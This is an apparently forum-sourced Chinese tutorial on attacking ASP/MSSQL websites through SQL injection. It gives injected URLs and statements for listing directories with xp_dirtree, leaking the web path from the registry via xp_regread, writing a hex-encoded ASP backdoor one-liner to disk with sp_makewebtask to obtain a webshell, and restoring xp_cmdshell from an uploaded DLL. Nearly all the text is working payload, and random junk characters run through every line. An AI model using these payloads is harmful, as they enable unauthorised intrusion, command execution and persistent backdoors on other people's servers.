好,我们exec master..xp_dirtree'd:/test'! k" W* C* m |6 H+ ], G3 Q" W/ G
假设我们在test里有两个文件夹test1和test2在test1里又有test3
, C, g, t& o7 J0 C4 q6 y. Y* s结果显示8 \$ P7 p* Q5 s: c2 T
* J4 `, O- |& |' d: v0 F i
subdirectory depth
# s5 ^) `( R1 ?" F, y; L" ftest1 10 ~# j8 Y! ~0 M* n k. y9 U# H
test3 2
* \$ m) j7 H! z/ }: ^& G# Ktest2 1
; l( [3 Y6 |. H1 j2 s5 Y, q0 U* O" l A
哈哈发现没有那个depth就是目录的级数& Y# M3 W* D- a; h, ?' C' h0 t
ok了,知道怎么办了吧
5 w+ L8 Y/ i% G' m3 g: F$ P/ X+ w7 I) h% m) |, t; T
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
& A+ k# X8 V5 I$ h+ O4 d0 d. Zhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 8 F: F- o8 S& }2 e) L9 I: R' I( e% I
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-3 Y! a. T* j+ ]2 g* @
1 S0 V6 ]: k0 J0 [只要加上id=1,就是第一级目录 。
1 g' k' T" y/ y: C+ u h- ?6 [; w0 A9 J: }1 a
! J3 R! ]3 {8 ]通过注册表读网站路径:7 n! s2 k2 h4 i, q3 O# S8 S
" @5 {# n4 y! _/ B6 B
1.;create table [dbo].[cyfd] ([gyfd][char](255));
# X' i% D% Y- g* |$ j6 i" `6 _- q! P* W6 m3 c
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
/ d+ `: U# p: F! Pid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
) @# Z0 s) K4 d; O8 T; O) J5 R! {, r! P/ `- f! c
3.and 1=(select count(*) from 临时表 where 临时字段名>1)% J& K3 Q8 o0 R
and 1=(select count(*) from cyfd where gyfd > 1)
2 q' r8 k, c% v: Y A这样IE报错,就把刚才插进去的Web路径的值报出来了
/ }# z; ^1 @ T6 s, U2 {, E1 \
6 [3 L% a* \3 h0 r4 x1 W- a. G# i4.drop table cyfd;-- 删除临时表7 S8 D$ c5 z, X$ A
+ s1 E# Y& o( a/ b& Y. {
获得webshell方法:
& w* K k$ E: M1.create table cmd (a image)-- \**cmd是创建的临时表
, B2 \; J7 R3 w( ~8 ]% G& g9 F% g0 ^6 @% W: t u5 }9 a+ V
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
+ w9 ~9 g/ l: R7 ]: b7 H# X! B' s, L3 D! r7 R8 R1 I
3 p# z. }+ L9 h4 p. h' k% f% a3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
% \+ e# w( ]% W# NEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'* _: V" n) H' t* Z1 t5 c4 K9 M
8 O& a) s) ?+ O- H# Q; r5 t4.drop table cmd;-- 删除cmd临时表2 a8 ]5 E& Y9 i( q; E+ B
2 C. d$ F% `1 u$ |9 X' I0 |恢复xp_cmdshell方法之一:
( ]" t& d: p4 V我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:# D9 M% ~2 k( Z; g% Z# X
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
9 q+ C) R& Y5 F/ R' r恢复,支持绝对路径的恢复哦。:)7 |" v; @' V: Q% L! k
|